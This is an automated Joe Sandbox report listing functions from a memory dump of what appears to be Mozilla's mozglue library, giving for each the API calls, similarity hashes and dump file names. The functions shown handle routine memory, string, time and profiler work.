Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: CriticalSectionVirtual$AllocEnterFreeLeave
String ID: MOZ_CRASH()
API String ID: 1090480015-2608361144
Opcode ID: 4911e0ad54b1f9d0a266ef651e3814326521ca90c7558d1bf0be9e37a27444af
Instruction ID: 09e8820775d88cd8de9dd14a97a74697aa7c2e62712f731cd127373bf37e45fc
Opcode Fuzzy Hash: 4911e0ad54b1f9d0a266ef651e3814326521ca90c7558d1bf0be9e37a27444af
Instruction Fuzzy Hash: 0B41C231B142168FCB14CEBD8DD03AA76B8EB49B14F25053AED98E7784D7A598018BC0

Function 6C8A4DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C8A4E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C8A4E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C8A4EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C8A4F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6C8A4F1E

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: 27815c60b75b2588577b51f68e0cf034c1d827e9720e740e48ec5a4e7e963786
Instruction ID: f1bef6112e4e09494458cd3be3b2b32b5d439978df1de64137b10b59603f9e2e
Opcode Fuzzy Hash: 27815c60b75b2588577b51f68e0cf034c1d827e9720e740e48ec5a4e7e963786
Instruction Fuzzy Hash: 4F41E0716087059FCB21CFA8C88095BB7E4BFC9354F10AE2DF46687A41DB30E91ACB91

Function 6C8ED210 Relevance: 7.6, APIs: 5, Instructions: 115stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,6C8B5820,?), ref: 6C8ED21F
moz_xmalloc.MOZGLUE(00000001,?,?,6C8B5820,?), ref: 6C8ED22E

Part of subcall function 6C8BCA10: malloc.MOZGLUE(?), ref: 6C8BCA26

memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,6C8B5820,?), ref: 6C8ED242
free.MOZGLUE(00000000,?,?,?,?,?,?,6C8B5820,?), ref: 6C8ED253

Part of subcall function 6C8C5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C8C5EDB
Part of subcall function 6C8C5E90: memset.VCRUNTIME140(6C907765,000000E5,55CCCCCC), ref: 6C8C5F27
Part of subcall function 6C8C5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C8C5FB2

memcpy.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,6C8B5820,?), ref: 6C8ED280

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: CriticalSectionmemset$EnterLeavefreemallocmemcpymoz_xmallocstrlen
String ID:
API String ID: 2029485308-0
Opcode ID: a44d2471b03f0d366d65e5e8a7eae7a6295db44f9b64c7930407ebaf880e88ca
Instruction ID: c8a764a3b484156e97e619306ec07feb4dab8fee6b93838a160282647f87fe8e
Opcode Fuzzy Hash: a44d2471b03f0d366d65e5e8a7eae7a6295db44f9b64c7930407ebaf880e88ca
Instruction Fuzzy Hash: 223105B5A042159FCB10CF58C980AAEBB75BFCE308F24496AD9546B705D372F80AC7E1

Function 6C8BC150 Relevance: 7.6, APIs: 5, Instructions: 110stringtimeCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C8BC1BC
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C8BC1DC

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: Now@Stamp@mozilla@@TimeV12@_strlen
String ID:
API String ID: 1885715127-0
Opcode ID: dd66864c14078ace3cbf2632391ae2b97acce0090b8c851b7dedec7d5f93cc72
Instruction ID: 56c093a4a30d4652bf657e134ba1978ea40ab1966abcc7cf008697590eb1d268
Opcode Fuzzy Hash: dd66864c14078ace3cbf2632391ae2b97acce0090b8c851b7dedec7d5f93cc72
Instruction Fuzzy Hash: 6641E5B1D087449FD720DF68C68079ABBE4BF96308F41896DE8885B712E330D548CB92

Function 6C90A820 Relevance: 7.6, APIs: 5, Instructions: 106stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C92F770), ref: 6C90A858
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C90A87B

Part of subcall function 6C90A9D0: memcpy.VCRUNTIME140(?,?,00000400,?,?,?,6C90A88F,00000000), ref: 6C90A9F1

_ltoa_s.API-MS-WIN-CRT-CONVERT-L1-1-0(?,?,00000020,0000000A), ref: 6C90A8FF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C90A90C
LeaveCriticalSection.KERNEL32(6C92F770), ref: 6C90A97E

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: CriticalSectionstrlen$EnterLeave_ltoa_smemcpy
String ID:
API String ID: 1355178011-0
Opcode ID: ebe7c63763e6e9e0a883ea591d7a1e0579d4a75d37e92f647db12e63ee7e5ae3
Instruction ID: f36c41680da4f287ec45fa3eb347ed1c098226500a0de74c0a616cb090a81028
Opcode Fuzzy Hash: ebe7c63763e6e9e0a883ea591d7a1e0579d4a75d37e92f647db12e63ee7e5ae3
Instruction Fuzzy Hash: D341AEB1E006088BDB00DFA4D885ADEB7B4FF18324F108629E866AB791D735D945CB91

Function 6C8B1530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6C8B152B,?,?,?,?,6C8B1248,?), ref: 6C8B159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6C8B152B,?,?,?,?,6C8B1248,?), ref: 6C8B15BC
moz_xmalloc.MOZGLUE(-00000001,?,6C8B152B,?,?,?,?,6C8B1248,?), ref: 6C8B15E7
free.MOZGLUE(?,?,?,?,?,?,6C8B152B,?,?,?,?,6C8B1248,?), ref: 6C8B1606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6C8B152B,?,?,?,?,6C8B1248,?), ref: 6C8B1637

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: b7cb32075844f80ca2e1d410502ae7a03fb9323619aa869ac47b3ad45b7756bf
Instruction ID: 66e22032b3d0d9a18bc3f33e3132bdcf6548212be18441c652540df8e479486f
Opcode Fuzzy Hash: b7cb32075844f80ca2e1d410502ae7a03fb9323619aa869ac47b3ad45b7756bf
Instruction Fuzzy Hash: 8231D872A001159BCB288E7CDA914AF77A5BB863647240F3DE423EFBD4EB30D9158791

Function 6C90AD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6C91E330,?,6C8CC059), ref: 6C90AD9D

Part of subcall function 6C8BCA10: malloc.MOZGLUE(?), ref: 6C8BCA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6C91E330,?,6C8CC059), ref: 6C90ADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6C91E330,?,6C8CC059), ref: 6C90AE01
GetLastError.KERNEL32(?,00000000,?,?,6C91E330,?,6C8CC059), ref: 6C90AE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6C91E330,?,6C8CC059), ref: 6C90AE3D

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: 475a616bdb77b37643c73e29b45f79da3b377e69ddfa4e911c862a2287df46cf
Instruction ID: 0fb3bb39b8b44b178c0185dd5d7889bfaa6e200096472f4989ea32ab5126e589
Opcode Fuzzy Hash: 475a616bdb77b37643c73e29b45f79da3b377e69ddfa4e911c862a2287df46cf
Instruction Fuzzy Hash: B4314FB1A002159FDB10DF798D45AABB7F8EF59624F15882DE85AD7700EB34E804CBA4

Function 6C900B90 Relevance: 7.6, APIs: 5, Instructions: 92timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C900BBC

Part of subcall function 6C8C5C50: GetTickCount64.KERNEL32 ref: 6C8C5D40
Part of subcall function 6C8C5C50: EnterCriticalSection.KERNEL32(6C92F688), ref: 6C8C5D67

?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C900BCA
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C900BD5

Part of subcall function 6C8C5C50: __aulldiv.LIBCMT ref: 6C8C5DB4
Part of subcall function 6C8C5C50: LeaveCriticalSection.KERNEL32(6C92F688), ref: 6C8C5DED

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C900BE2
?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6C900C9A

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: Time$StampV01@@Value@mozilla@@$CriticalSection$BaseCount64Creation@DurationEnterLeavePlatformProcessSeconds@Stamp@mozilla@@TickUtils@mozilla@@V12@__aulldiv
String ID:
API String ID: 3168180809-0
Opcode ID: 6a209712b2d5b6b75c15b09ac7f5135a1be7074ed481ab9d398805f4fbc1efde
Instruction ID: cde9a822baeb4926764b565c92b9ae4c7d7bdd90fa4d1f1a3c33cc36bb2d1128
Opcode Fuzzy Hash: 6a209712b2d5b6b75c15b09ac7f5135a1be7074ed481ab9d398805f4fbc1efde
Instruction Fuzzy Hash: AB31F771B047548AC714DF3C848051BB7E8AF82764F214B2EF8AAA36D0DB70D8458792

Function 6C905EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6C91DCA0,?,?,?,6C8DE8B5,00000000), ref: 6C905F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C8DE8B5,00000000), ref: 6C905F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6C8DE8B5,00000000), ref: 6C905F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6C8DE8B5,00000000), ref: 6C905F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C8DE8B5,00000000), ref: 6C905FD6

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: c0941cd65bb8219ab9b8c6b87aea55161a7c343c141691968da7d13037fbb7af
Instruction ID: c177a6230dbc7f6baaedf4dd085a356ab203b382a7b79e38e22d58b66c508c64
Opcode Fuzzy Hash: c0941cd65bb8219ab9b8c6b87aea55161a7c343c141691968da7d13037fbb7af
Instruction Fuzzy Hash: DC310B343046008FD710CF29C998B6AB7F9BF89319B648558E69687795CB39EC51CB84

Function 6C8AB4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6C8AB532
moz_xmalloc.MOZGLUE(?), ref: 6C8AB55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C8AB56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6C8AB57E
free.MOZGLUE(00000000), ref: 6C8AB58F

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: 9b1c7c0efc3c23d1c995684e1d55df0ba4ea01c3a54857531c344b894835efcf
Instruction ID: a1a67186c1545989a3f1778d77dd0768b64a046f3f185dd2c3bbeb262521370b
Opcode Fuzzy Hash: 9b1c7c0efc3c23d1c995684e1d55df0ba4ea01c3a54857531c344b894835efcf
Instruction Fuzzy Hash: BF21F971A042099BDB10CFA9CD40BBEBBB9FF46314F284529E918DB341E776D912C7A1

Function 6C8AB7A0 Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

APIs

?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C8AB7CF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C8AB808
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C8AB82C
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C8AB840
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C8AB849

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: free$?vprint@PrintfTarget@mozilla@@mallocmemcpy
String ID:
API String ID: 1977084945-0
Opcode ID: b85f37c11584f12774b83beb144ff2ec809bb9e0e00c4e871c1c53bad5388d9f
Instruction ID: 243787b1db54c6d01d1388826e6ba0a75b44aad04ebd29da8db51b0aad6fa28f
Opcode Fuzzy Hash: b85f37c11584f12774b83beb144ff2ec809bb9e0e00c4e871c1c53bad5388d9f
Instruction Fuzzy Hash: BA218BB0E042199FEF14CFA8C9856FEBBB4EF49314F148429EC45A7301E735A945CBA0

Function 6C906E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C906E78

Part of subcall function 6C906A10: InitializeCriticalSection.KERNEL32(6C92F618), ref: 6C906A68
Part of subcall function 6C906A10: GetCurrentProcess.KERNEL32 ref: 6C906A7D
Part of subcall function 6C906A10: GetCurrentProcess.KERNEL32 ref: 6C906AA1
Part of subcall function 6C906A10: EnterCriticalSection.KERNEL32(6C92F618), ref: 6C906AAE
Part of subcall function 6C906A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C906AE1
Part of subcall function 6C906A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C906B15
Part of subcall function 6C906A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6C906B65
Part of subcall function 6C906A10: LeaveCriticalSection.KERNEL32(6C92F618,?,?), ref: 6C906B83

MozFormatCodeAddress.MOZGLUE ref: 6C906EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C906EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C906EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6C906EFF

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: d485e2588b98178f4848aa45cb60aeaea978924ea866e4a85dbf936c3679cc32
Instruction ID: cbdd00279a9a02278578f8e2a093a366d1de81625351c6cce7267975419f0e53
Opcode Fuzzy Hash: d485e2588b98178f4848aa45cb60aeaea978924ea866e4a85dbf936c3679cc32
Instruction Fuzzy Hash: E521C171A0821A8FCB10DF69D8856DA77F9FF88308F04403DE94997240EB349A98CF92

Function 6C8B6390 Relevance: 7.6, APIs: 5, Instructions: 72threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C8B63D0
AcquireSRWLockExclusive.KERNEL32 ref: 6C8B63DF
ReleaseSRWLockExclusive.KERNEL32 ref: 6C8B640E
__Init_thread_footer.LIBCMT ref: 6C8B6467
??$AddMarkerToBuffer@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@AAVProfileChunkedBuffer@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6C8B64A8

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: Marker$D@std@@ExclusiveLockProfileTextU?$char_traits@V?$allocator@V?$basic_string@$AcquireBlockBufferBuffer@Buffer@1@Category@1@$$ChunkedCurrentD@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@Index@1@Init_thread_footerMarker@markers@01@Marker@markers@baseprofiler@mozilla@@Options@1@ProfilerReleaseStringThreadView@
String ID:
API String ID: 3202982786-0
Opcode ID: 8ed5feb63febc70dc7f8cfa3b2a201d38f729b437e131eb076a581ca55707b22
Instruction ID: 8865c5bf46257942e77bc0b5377785ada24ddd713a748efe563b4177b8322e46
Opcode Fuzzy Hash: 8ed5feb63febc70dc7f8cfa3b2a201d38f729b437e131eb076a581ca55707b22
Instruction Fuzzy Hash: 86318BB16187558FCB10DF6CC24969ABBF0FB86318F21492DD8D593740C778A489CBA3

Function 6C9076C0 Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6C9076F2
moz_xmalloc.MOZGLUE(00000001), ref: 6C907705

Part of subcall function 6C8BCA10: malloc.MOZGLUE(?), ref: 6C8BCA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C907717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6C90778F,00000000,00000000,00000000,00000000), ref: 6C907731
free.MOZGLUE(00000000), ref: 6C907760

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 2538299546-0
Opcode ID: 5cda5d23e69c6d8d15d6ae36224b946726ccea283d19119421f53428de31f312
Instruction ID: 624c589fb34f9c037cf0bad73e0806291a3713fb2e81b54dc343a21ad3f5f377
Opcode Fuzzy Hash: 5cda5d23e69c6d8d15d6ae36224b946726ccea283d19119421f53428de31f312
Instruction Fuzzy Hash: DF11B6B1A052156BD710AF7A8C44BAB7EF8EF46764F14482DF888E7300E771884487F2

Function 6C8E0D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6C8A3DEF), ref: 6C8E0D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6C8A3DEF), ref: 6C8E0D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6C8A3DEF), ref: 6C8E0DAF

Strings

<jemalloc>, xrefs: 6C8E0D92, 6C8E0DB9
: (malloc) Error in VirtualFree(), xrefs: 6C8E0D97, 6C8E0DBE

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: d18839b15d87f081ab070d1d84bee37c3c6df374955572d7956c021c5a6202cb
Instruction ID: ec15535465b08db90083befcce105d74a8bb71a2e459f6fb6f64c0eb86a9d537
Opcode Fuzzy Hash: d18839b15d87f081ab070d1d84bee37c3c6df374955572d7956c021c5a6202cb
Instruction Fuzzy Hash: 5BF050313A438823D33022651D05B5A256DA7C7B11F304D31F280DADC4DF54E810A765

Function 6C905850 Relevance: 7.5, APIs: 5, Instructions: 41synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(000000FF), ref: 6C90586C
CloseHandle.KERNEL32 ref: 6C905878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C905898
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C9058C9
